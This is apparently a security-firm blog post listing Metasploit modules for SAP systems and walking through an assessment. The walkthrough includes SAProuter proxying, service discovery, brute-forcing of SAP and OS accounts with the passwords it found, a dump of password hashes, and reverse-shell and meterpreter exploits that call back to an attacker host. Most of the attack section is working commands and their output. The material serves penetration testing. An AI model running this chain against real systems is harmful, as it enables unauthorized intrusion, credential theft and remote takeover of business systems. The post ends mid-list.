Blog

Run SAP, Run

By on 12 November, 2013

It’s been quite a while since we first released some Metasploit modules for assessing SAP systems. It was April 2012 when the first set of 10 modules were released. There are now over approx. 100 Metasploit modules in the framework. Not all of them have been developed and/or contributed by MWR. Which is actually very, very good news. More and more of the community are contributing modules. Together we are all building the tools needed to assess, audit and exploit SAP systems and delivering much better security services to our clients and/or our organisations because of this. It’s been quite a journey that has led to speaking at several security conferences (CRESTCon, BSides, Sec-T, T2 and DeepSec etc.) and visiting some very cool places.

The MWR Labs modules are available publically from two different code repositories. Modules that are accepted into the master branch of the “Rapid7” Metasploit framework can be found here and those that didn’t make the cut, can be found here in the Q repository. Q is a repository of modules that for one reason or another have not be accepted to the main “Rapid7” Metasploit trunk. The modules submitted to the Q repository are there because they rely on an SDK that cannot be freely distributed. Unfortunately the SDK is available only to those who have access to the SAP Service Marketplace (SMP) and MWR cannot legally distribute it. In order to get access to the SAP Marketplace you need an S-ID, password and customer number. Alternatively the required library files (such as libsapnwrfc) can be extracted from a SAP system (such as the freely available test drive systems). These third party requirements are one of the reasons that the submission to the Metasploit Framework proved problematic.

I’ve been testing SAP implementations for various clients for a long while and in order to do so I had to craft my own tools and/or make use of disparate tool sets written in various languages and supported on different platforms. The situation was less than ideal. So I decided to do something about it. In short I decided to start developing Metasploit modules so that I could perform SAP assessments more efficiently and effectively. At the time, I relied heavily on the Onapsis Bizploit Opensource ERP Penetration Testing framework. However the framework had not been updated in a very long time and there had been no contributions from the community. One of the intentions behind writing the Metasploit modules, as opposed to contributing back to the Bizploit framework, was to encourage contributions from the community. The Bizploit framework has since been updated and several of the Metasploit modules and modules from other community contributors (such as Chris John Riley) have been back ported to the framework. Mariano Nunez (the author of the Bizploit framework) has also made numerous updates recently. Which is great as we now have a choice of tool sets to leverage that are being actively developed and contributed to. In addition, ERP-SCAN also make available a SAP exploitation framework that is written in Perl. So Ruby, Python or Perl – no more excuses for not contributing back!

A full list of all of the modules, to date, is presented below:

SAP Modules by MWR Labs, or contributed to by MWR Labs, that can be used for assessing SAProuter:

  • auxiliary/scanner/sap/sap_router_info_request
  • auxiliary/scanner/sap/sap_router_portscanner

SAP Modules by MWR Labs that can be used for information gathering and data extraction:

  • auxiliary/scanner/sap/sap_service_discovery – authored by Chris John Riley
  • auxiliary/scanner/sap/sap_icm_urlscan – authored by Chris John Riley
  • auxiliary/scanner/sap/sap_rfc_client_enum
  • auxiliary/scanner/sap/sap_soap_rfc_ping
  • auxiliary/scanner/sap/sap_soap_rfc_system_info
  • auxiliary/scanner/sap/sap_icf_public_info
  • auxiliary/scanner/sap/sap_soap_th_saprel_disclosure
  • auxiliary/scanner/sap/sap_soap_rfc_read_table
  • auxiliary/scanner/sap/sap_rfc_read_table
  • auxiliary/scanner/sap/sap_rfc_usr02

SAP Modules by MWR Labs that can be used for bruteforcing authenticated services:

  • auxiliary/scanner/sap/sap_web_gui_brute_login
  • auxiliary/scanner/sap/sap_soap_rfc_brute_login
  • auxiliary/scanner/sap/sap_rfc_brute_login

SAP Modules by MWR Labs that can be used for remote command execution against Windows and Linux systems:

  • auxiliary/scanner/sap/sap_rfc_dbmcli_sxpg_call_system_command_exec
  • auxiliary/scanner/sap/sap_rfc_dbmcli_sxpg_command_exec
  • auxiliary/scanner/sap/sap_rfc_sxpg_call_system
  • auxiliary/scanner/sap/sap_rfc_sxpg_command_exec
  • auxiliary/scanner/sap/sap_rfc_abap_install_and_run
  • auxiliary/scanner/sap/sap_rfc_system
  • exploit/multi/sap/sap_rfc_abap_install_and_run
  • exploit/multi/sap/sap_rfc_sxpg_command_exec
  • exploit/multi/sap/sap_rfc_sxpg_call_system
  • auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec
  • auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec
  • auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec
  • auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec
  • exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec
  • exploit/multi/sap/sap_soap_rfc_sxpg_command_exec
  • exploit/multi/sap/sap_mgmt_con_osexec_payload

SAP Modules by MWR Labs that can be used for remote command execution (via SMB Relay) or hashed credentials capture against Windows systems:

  • auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing
  • auxiliary/dos/sap/sap_soap_rfc_eps_delete_file
  • auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence
  • auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir
  • auxiliary/scanner/sap/sap_smb_relay

SAP Modules by MWR Labs that can be used for creating users in the SAP system or the underlying OS:

  • auxiliary/scanner/sap/sap_soap_bapi_user_create1
  • auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface
  • auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt

SAP Modules by Chris John Riley that target the SAP Management Console (SOAP):

  • auxiliary/scanner/sap/sap_mgmt_con_abaplog
  • auxiliary/scanner/sap/sap_mgmt_con_brute_login
  • auxiliary/scanner/sap/sap_mgmt_con_extractusers
  • auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints
  • auxiliary/scanner/sap/sap_mgmt_con_getenv
  • auxiliary/scanner/sap/sap_mgmt_con_getlogfiles
  • auxiliary/scanner/sap/sap_mgmt_con_getprocesslist
  • auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter
  • auxiliary/scanner/sap/sap_mgmt_con_instanceproperties
  • auxiliary/scanner/sap/sap_mgmt_con_listlogfiles
  • auxiliary/scanner/sap/sap_mgmt_con_startprofile
  • auxiliary/scanner/sap/sap_mgmt_con_version

For the relevant back ground and/or details of the vulnerabilities that the modules help to exploit, please see the following MWR Labs posts:

  • https://labs.mwrinfosecurity.com/publications/2012/04/27/sap-slapping
  • https://labs.mwrinfosecurity.com/blog/2012/04/27/mwr-sap-metasploit-modules
  • https://labs.mwrinfosecurity.com/blog/2012/09/03/sap-parameter-injection
  • https://labs.mwrinfosecurity.com/blog/2012/09/13/sap-smashing-internet-windows

You may also like to visit the blog at Onapsis web site where a series of posts were published that details an approach to assessing SAP systems. Their posts detail how to use their framework to achieve this. The Metasploit modules detailed here can be used to compliment and/or augment the Onapsis Bizploit Opensource ERP Penetration Testing framework introduced in their blog posts.

The rest of this post is going to introduce each of the MWR Labs modules and provide an outline to how they can be used to deliver an SAP assessment in an effective and methodical manner.

SAProuter

Almost all SAP environments will have one or more SAProuter’s present. See the MWR Labs blog post for more details and background to this permiter device. There are two modules that we can use to assess the SAProuter itself and to abuse it in order to communicate with systems behind the SAProuter.

The ‘sap_router_info_request’ module can be used to list the contents of the devices connection table:

use auxiliary/scanner/sap/sap_router_info_request

The ‘sap_router_portscanner’ module can be used to portscan devices behind the SAProuter (this module was authored by Bruno Morisson):

use auxiliary/scanner/sap/sap_router_portscanner

Metasploit allows for the proxying of traffic via a HTTP and/or socks proxy. MWR Labs introduced the additional functionality to allow for the proxying of protocols through the SAProuter utilising the NI protocol. If we find a system behind the SAProuter, we can use the ‘set Proxies ni’ command to proxy any traffic through the SAProuter and target systems behind. Below is an example of using the proxy to tunnel the ‘smb_login’ metasploit module.

msf > use auxiliary/scanner/smb/smb_login
msf > set Proxies ni:158.234.100.3:3299 
msf > run


[*] 10.0.3.99:445 SMB - Starting SMB login bruteforce

[*] Auth-User: "Administrator"

[+] 10.0.3.99:445|WORKGROUP - SUCCESSFUL LOGIN (Windows XP) 'Administrator' : 'ruby'

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Information Gathering

First on the agenda when assessing a system is to map it’s attack surface. We can use the nmap portscanner as illustrated below:

msf > nmap -v 10.0.7.59 -p 80,443,3200-3299,3300-3399,8000-8099,8100-8199,50000-59913
[*] exec: nmap -v 10.0.7.59 -p 80,443,3200-3299,3300-3399,8000-8099,8100-8199,50000-59913

Starting Nmap 6.26SVN ( http://nmap.org ) at 2013-10-04 06:35 PDT

Nmap scan report for 10.0.7.59
Host is up (0.00024s latency).
Not shown: 10309 closed ports
PORT      STATE SERVICE
80/tcp    open  http
3200/tcp  open  tick-port
3300/tcp  open  unknown
3389/tcp  open  ms-wbt-server
8000/tcp  open  http-alt
8100/tcp  open  xprint-server
50013/tcp open  unknown
MAC Address: 00:0C:29:C8:CC:49 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 6.21 seconds

However, nmap fails to identify SAP services reliably. It is wise when assessing SAP systems to also execute a SAP aware portscan. We can do this by using a module authored by Chris John Riley:

msf > use auxiliary/scanner/sap/sap_service_discovery 
msf auxiliary(sap_service_discovery) > show options

Module options (auxiliary/scanner/sap/sap_service_discovery):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   INSTANCES    00-01            yes       Instance numbers to scan (e.g. 00-05,00-99)
   RHOSTS                        yes       The target address range or CIDR identifier
   THREADS      1                yes       The number of concurrent threads
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds

msf auxiliary(sap_service_discovery) > set RHOSTS 10.0.7.59
msf auxiliary(sap_service_discovery) > set INSTANCES 00-99
msf auxiliary(sap_service_discovery) > run

[*] [SAP] Beginning service Discovery '10.0.7.59'

[+] 10.0.7.59:8000	 - SAP ICM HTTP OPEN
[+] 10.0.7.59:8100	 - SAP Message Server [HTTP] OPEN
[+] 10.0.7.59:3300	 - SAP Gateway sapgw00 OPEN
[+] 10.0.7.59:3200	 - SAP Dispatcher sapdp00 OPEN
[+] 10.0.7.59:50013	 - SAP StartService [SOAP] sapctrl00 OPEN
[+] 10.0.7.59:3900	 - ITS AGate sapavw00_<INST> OPEN
[+] 10.0.7.59:3389	 - SAP Gateway sapgw89 OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

From the output above we can see that nmap failed to identify port 3300 as a SAP RFC connector, but the Metasploit module identifies this for us. The module provides much more accurate information for SAP services. We now know that we have four services that we should probably probe further. SAP refer to these SAP services as connectors. The connectors we have available are RFC (3300), DIAG (3200), SOAP (50013) and ICM (8000).

Let’s start with the RFC connector. For more details and background information see the original blog post on the MWR Labs site. We can use the ‘sap_rfc_client_enum’ module to enumerate available SAP clients:

msf > use auxiliary/scanner/sap/sap_rfc_client_enum
msf auxiliary(sap_rfc_client_enum) > show options

Module options (auxiliary/scanner/sap/sap_rfc_client_enum):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CLIENT   000,001,066      no        Client can be single (066), comma seperated list (000,001,066) or range (000-999)
   RHOSTS                    yes       The target address range or CIDR identifier
   SRHOST                    no        SAP Router Address
   SRPORT                    no        SAP Router Port Number
   THREADS  1                yes       The number of concurrent threads

msf auxiliary(sap_rfc_client_enum) > set RHOSTS 10.0.7.32
msf auxiliary(sap_rfc_client_enum) > set RPORT 3242
msf auxiliary(sap_rfc_client_enum) > run

[*] Brute forcing clients 000,001,066
[+] 10.0.7.32:3242 [SAP] client found - 000
[+] 10.0.7.32:3242 [SAP] client found - 001
[+] 10.0.7.32:3242 [SAP] client found - 066
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We now know that the SAP system has one instance running and there are three clients that we can interact with.

Bruteforce

The next step in our assessment would be to attempt to gain a foot hold on the system. We can do this by trying combinations of well known usernames and passwords. As we also have found a SOAP connector on port 50013, we can attempt to abuse it to determine the lockout threshold. This could help us to avoid locking out accounts during our bruteforce attempts.

See the research by Chris John Riley for more details and background http://blog.c22.cc/2011/12/11/seczone-2011-sap-insecurity-slides with regards to the insecurites in the ‘SAP Management Console SOAP Interface’.

The following module ‘sap_mgmt_con_getprocessparameter’ authored by Chris John Riley, can be used to determine some configuration paramters related to the lockout threshold.

msf > use auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter
msf auxiliary(sap_mgmt_con_getprocessparameter) > show options

Module options (auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   MATCH                     no        Display matches e.g login/
   Proxies                   no        Use a proxy chain
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    50013            yes       The target port
   THREADS  1                yes       The number of concurrent threads
   URI      /                no        Path to the SAP Management Console 
   VHOST                     no        HTTP server virtual host

msf auxiliary(sap_mgmt_con_getprocessparameter) > set RHOSTS 10.0.7.32
msf auxiliary(sap_mgmt_con_getprocessparameter) > set MATCH login/fail
msf auxiliary(sap_mgmt_con_getprocessparameter) > run

[*] [SAP] Connecting to SAP Management Console SOAP Interface on 10.0.7.32:50013
[*] [SAP] Regex match selected, skipping loot storage
[*] 10.0.7.32:50013 [SAP] Attempting to display configuration matches for (?i-mx:login\/fail)
[*] [SAP] Process Parameter Results for (?i-mx:login\/fail)
 
[SAP] Process Parameters
========================

   Name                           Description                                          Value
   ----                           -----------                                          -----
   login/failed_user_auto_unlock  Enable automatic unlock off locked user at midnight  0
   login/fails_to_session_end     Number of invalid login attempts until session end   3
   login/fails_to_user_lock       Number of invalid login attempts until user lock     5

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

From the output above we can see that accounts lock out after 5 invalid attempts. We can now use the module ‘sap_rfc_brute_login’ to bruteforce the earlier discovered clients:

msf > use auxiliary/scanner/sap/sap_rfc_brute_login
msf auxiliary(sap_rfc_brute_login) > set BLANK_PASSWORDS false

msf auxiliary(sap_rfc_brute_login) > set USER_AS_PASS false

msf auxiliary(sap_rfc_brute_login) > set VERBOSE false

msf auxiliary(sap_rfc_brute_login) > set RHOSTS 10.0.7.32
msf auxiliary(sap_rfc_brute_login) > set RPORT 3342
msf auxiliary(sap_rfc_brute_login) > run

[*] Brute forcing clients 000,001,066

[SAP] Credentials
=================

   host       port  client  user  pass
   ----       ----  ------  ----  ----
   10.0.7.32  3342  000     SAP*  06071992
   10.0.7.32  3342  001     SAP*  06071992

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We can see from the output above that we have discovered credentials for the default super user SAP* for two clients (000 & 001). It is also possible to execute the same attack against the ICM connector targeting the SAP Web GUI and the SOAP RFC connector (if available). The module ‘sap_web_gui_brute_login’ can be used to target the Web GUI via the ICM connector.

msf > use auxiliary/scanner/sap/sap_web_gui_brute_login 
msf auxiliary(sap_web_gui_brute_login) > set USER_AS_PASS false
msf auxiliary(sap_web_gui_brute_login) > set BLANK_PASSWORDS false
msf auxiliary(sap_web_gui_brute_login) > set VERBOSE false
msf auxiliary(sap_web_gui_brute_login) > set RPORT 8042
msf auxiliary(sap_web_gui_brute_login) > set RHOSTS 10.0.7.32
msf auxiliary(sap_web_gui_brute_login) > run

[*] Brute forcing clients 000,001,066
[-] [SAP] 10.0.7.32:8042 - SAP* locked in client 066

[SAP] Credentials
=================

   host       port  client  user  pass
   ----       ----  ------  ----  ----
   10.0.7.32  8042  000     SAP*  06071992
   10.0.7.32  8042  001     SAP*  06071992

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

The module ‘sap_soap_rfc_brute_login’ can be used to target the SOAP RFC connector.

msf > use auxiliary/scanner/sap/sap_soap_rfc_brute_login 
msf auxiliary(sap_soap_rfc_brute_login) > set USER_AS_PASS false
msf auxiliary(sap_soap_rfc_brute_login) > set BLANK_PASSWORDS false
msf auxiliary(sap_soap_rfc_brute_login) > set VERBOSE false
msf auxiliary(sap_soap_rfc_brute_login) > set RHOSTS 10.0.7.56
msf auxiliary(sap_soap_rfc_brute_login) > set RPORT 8042
msf auxiliary(sap_soap_rfc_brute_login) > run

[*] Brute forcing clients 000,001,066

[SAP] Credentials
=================

   host       port  client  user  pass
   ----       ----  ------  ----  ----
   10.0.7.56  8042  000     SAP*  06071992
   10.0.7.56  8042  001     SAP*  06071992

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

The SAP Management Console listening on port 50013 (SOAP) can also be targetted. Using the ‘sap_mgmt_con_extractusers’ module we can attempt to search remotely accessable log files for the presence of usernames.

msf > use auxiliary/scanner/sap/sap_mgmt_con_extractusers
msf auxiliary(sap_mgmt_con_extractusers) > show options

Module options (auxiliary/scanner/sap/sap_mgmt_con_extractusers):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    50013            yes       The target port
   THREADS  1                yes       The number of concurrent threads
   URI      /                no        Path to the SAP Management Console 
   VHOST                     no        HTTP server virtual host

msf auxiliary(sap_mgmt_con_extractusers) > set RHOSTS 10.0.7.56
msf auxiliary(sap_mgmt_con_extractusers) > set RPORT 50013
msf auxiliary(sap_mgmt_con_extractusers) > run

[*] 10.0.7.56:50013 [SAP] Connecting to SAP Management Console SOAP Interface
[+] 10.0.7.56:50013 [SAP] Users Extracted: 1 entries extracted from 10.0.7.56:50013
[+] 10.0.7.56:50013 [SAP] Extracted User: npladm
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

The output above shows that we were able to dicover the user OS user ‘npladm’. We can then use the ‘sap_mgmt_con_brute_login’ module to attempt to guess the users password.

msf > use auxiliary/scanner/sap/sap_mgmt_con_brute_login
msf auxiliary(sap_mgmt_con_brute_login) > set BLANK_PASSWORDS false
msf auxiliary(sap_mgmt_con_brute_login) > set USER_AS_PASS false
msf auxiliary(sap_mgmt_con_brute_login) > set VERBOSE false
msf auxiliary(sap_mgmt_con_brute_login) > set RHOSTS 10.0.7.56
msf auxiliary(sap_mgmt_con_brute_login) > set RPORT 50013
msf auxiliary(sap_mgmt_con_brute_login) > set SAP_SID NPL
msf auxiliary(sap_mgmt_con_brute_login) > set PASS_FILE /opt/metasploit/data/wordlists/sap_passwords.txt
msf auxiliary(sap_mgmt_con_brute_login) > run

[*] SAPSID set to 'NPL' - Setting default SAP wordlist
[+] 10.0.7.56:50013 [SAP] Successful login 'sapadm' password: 'sap123'
[+] 10.0.7.56:50013 [SAP] Successful login 'npladm' password: 'sap123'
[+] 10.0.7.56:50013 [SAP] Successful login 'sqdnpl' password: 'sap123'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Using the information gathered as well as a list of common SAP OS usernames, we were able to brute force three OS level user accounts.

Attack

Armed with a list of valid users and associated credentials for the SAP system connectors, we can begin to attack the system further. If we have the permissions, we can extract the systems users and hashed passwords from the database by abusing various RFC functions. An example of how this can be achieved using the ‘sap_rfc_usr02’ module is presented below.

msf > use auxiliary/scanner/sap/sap_rfc_usr02 
msf auxiliary(sap_rfc_usr02) > set RHOSTS 10.0.7.56
msf auxiliary(sap_rfc_usr02) > set CLIENT 001
msf auxiliary(sap_rfc_usr02) > set PASSWORD 06071992
msf auxiliary(sap_rfc_usr02) > set RPORT 3342
msf auxiliary(sap_rfc_usr02) > set USERNAME SAP*
msf auxiliary(sap_rfc_usr02) > run

[SAP] Users and hashes
======================

   MANDT  BNAME       BCODE             PASSCODE
   -----  -----       -----             --------
   000    DDIC        61D26428640DBAB5  905F5E6CE67B7C60D0F7BA9C4063AAF0D8602B45
   000    SAP*        D0BFF4276DA1E208  8948310AF768FA9061598E8F68FD144CE65B7480
   000    SAPCPIC     7D806C248F03813D  0000000000000000000000000000000000000000
   000    TMSADM      942B9DC0F2394D85  C9AA19DA354DC8397D7AC8EA8B4C04DF49CB58FF
   001    DEVELOPER   C4C768AEB4A99EF5  4BD353A8F1D8B453D58910CC87D24B0C1C9A9011
   001    ADSUSER     7FE24F5321515E7F  CD83AD9E92B4E37E2255FEA11AC82234BA825FBD
   001    ADS_AGENT   8C32369322B732F6  FE0DD787EE7EBCBF4728BDC1A865A6F15B064611
   001    DDIC        61D26428640DBAB5  905F5E6CE67B7C60D0F7BA9C4063AAF0D8602B45
   001    ADMIN       3C24A4A4FA84D505  10806C87C7EE0F30A9E2BBF02E01A56EB8905546
   001    J2EE_ADMIN  6C1541BC997289D1  149E781A80383CC59AB04E88B51832819403364F
   001    TOOR        36CE8C13346AFAF5  2101FE1A13738505EE74F5545007404C83252B3F
   001    MSFMWR      2BD3E8CA4EBB08D8  6803FE05D1CFDF911B7ABC8BCC2F431C902230BA
   001    MWR*        239D89593502DB7A  8363143AAD6F0540930DF5D1AF2674979E15681F
   001    ROOT        B5CA3F60049FFBD4  01C76AB48D925452AB374151DCD1599B1F335A07
   001    SAP*        D0BFF4276DA1E208  8948310AF768FA9061598E8F68FD144CE65B7480
   001    SAPCPIC     7D806C248F03813D  0000000000000000000000000000000000000000
   001    SAPJSF      7D6762BFB7504CA4  93738A70AA83C6DAA6CD0B3B1853986333A29192
   001    J2EE_GUEST  0000000000000000  0000000000000000000000000000000000000000
   066    EARLYWATCH  BD5E494D3ECBF5E2  0000000000000000000000000000000000000000
   066    SAP*        29B60B2614510C1D  789C6E939E7BD99A554D79ABC214910A502EE407

[+] [SAP] 10.0.7.56:3342 - codevnB hashes stored in /root/.msf4/loot/20131003013957_default_10.0.7.56_sap.codevnB.hash_042396.txt
[+] [SAP] 10.0.7.56:3342 - codevnG hashes stored in /root/.msf4/loot/20131003013957_default_10.0.7.56_sap.codevnG.hash_387029.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

The output contained in the ‘loot’ folder can be fed directly into john-the-ripper. For more details and background please see the Onapsis article.

We can use the credetials we have obtained to abuse the systems functionality in order to compromise the OS and obtain a remote shell. An example of using the ‘sap_rfc_abap_install_and_run’ module to achieve this is presented below:

msf > use exploit/multi/sap/sap_rfc_abap_install_and_run
msf exploit(sap_rfc_abap_install_and_run) > set RHOST 10.0.7.56
msf exploit(sap_rfc_abap_install_and_run) > set RPORT 3342
msf exploit(sap_rfc_abap_install_and_run) > set CLIENT 001
msf exploit(sap_rfc_abap_install_and_run) > set USERNAME SAP*
msf exploit(sap_rfc_abap_install_and_run) > set PASSWORD 06071992
msf exploit(sap_rfc_abap_install_and_run) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(sap_rfc_abap_install_and_run) > set LHOST 10.0.7.17
msf exploit(sap_rfc_abap_install_and_run) > set LPORT 4444
msf exploit(sap_rfc_abap_install_and_run) > exploit

[*] Started reverse handler on 10.0.7.17:4444 
[*] [SAP] 10.0.7.56:3342 - Dumping the payload to /tmp/MO850...
[*] [SAP] 10.0.7.56:3342 - Executing /tmp/MO850...
[*] Command shell session 1 opened (10.0.7.17:4444 -> 10.0.7.56:57226) at 2013-10-03 01:51:19 -0700

id
uid=1001(npladm) gid=100(users) groups=100(users),1000(sapsys)

As can be seen above we have obtained an interactive remote shell on a Linux system using the Metasploit generic/shell_reverse_tcp payload.

An example of the ‘sap_rfc_abap_install_and_run’ module running against a Windows sytem is presented below:

msf > use exploit/multi/sap/sap_rfc_abap_install_and_run
msf exploit(sap_rfc_abap_install_and_run) > set RHOST 10.0.7.59
msf exploit(sap_rfc_abap_install_and_run) > set RPORT 3300
msf exploit(sap_rfc_abap_install_and_run) > set CLIENT 001
msf exploit(sap_rfc_abap_install_and_run) > set USERNAME SAP*
msf exploit(sap_rfc_abap_install_and_run) > set PASSWORD 06071992
msf exploit(sap_rfc_abap_install_and_run) > set TARGET 1 
msf exploit(sap_rfc_abap_install_and_run) > set PAYLOAD windows/x64/meterpreter/reverse_tcp 
msf exploit(sap_rfc_abap_install_and_run) > set LHOST 10.0.7.17
msf exploit(sap_rfc_abap_install_and_run) > set LPORT 4444
msf exploit(sap_rfc_abap_install_and_run) > exploit

[*] Started reverse handler on 10.0.7.17:4444 
[*] [SAP] 10.0.7.59:3300 - Sending RFC request
[*] Command Stager progress -   2.19% done (249/11366 bytes)
[*] Command Stager progress -   4.38% done (498/11366 bytes)
..
..
[*] Command Stager progress -  98.06% done (11146/11366 bytes)
[*] Command Stager progress - 100.00% done (11366/11366 bytes)
[*] Sending stage (970240 bytes) to 10.0.7.59
[*] Meterpreter session 6 opened (10.0.7.17:4444 -> 10.0.7.59:49287) at 2013-10-04 08:15:51 -0700

meterpreter > getuid
Server username: GATEWAY\Administrator

As can be seen above the exploit returns a meterpreter shell running as the Adminstrative user.

The following SAP Modules by MWR Labs can all be used for remote command execution against Windows and Linux systems and will return interactive shells and/or meterpreter instances:

  • auxiliary/scanner/sap/sap_rfc_dbmcli_sxpg_call_system_command_exec
  • auxiliary/scanner/sap/sap_rfc_dbmcli_sxpg_command_exec
  • auxiliary/scanner/sap/sap_rfc_sxpg_call_system
  • auxiliary/scanner/sap/sap_rfc_sxpg_command_exec
  • auxiliary/scanner/sap/sap_rfc_abap_install_and_run
  • auxiliary/scanner/sap/sap_rfc_system
  • exploit/multi/sap/sap_rfc_abap_install_and_run
  • exploit/multi/sap/sap_rfc_sxpg_command_exec
  • exploit/multi/sap/sap_rfc_sxpg_call_system
  • auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec
  • auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec
  • auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec
  • auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec
  • exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec
  • exploit/multi/sap/sap_soap_rfc_sxpg_command_exec
  • exploit/multi/sap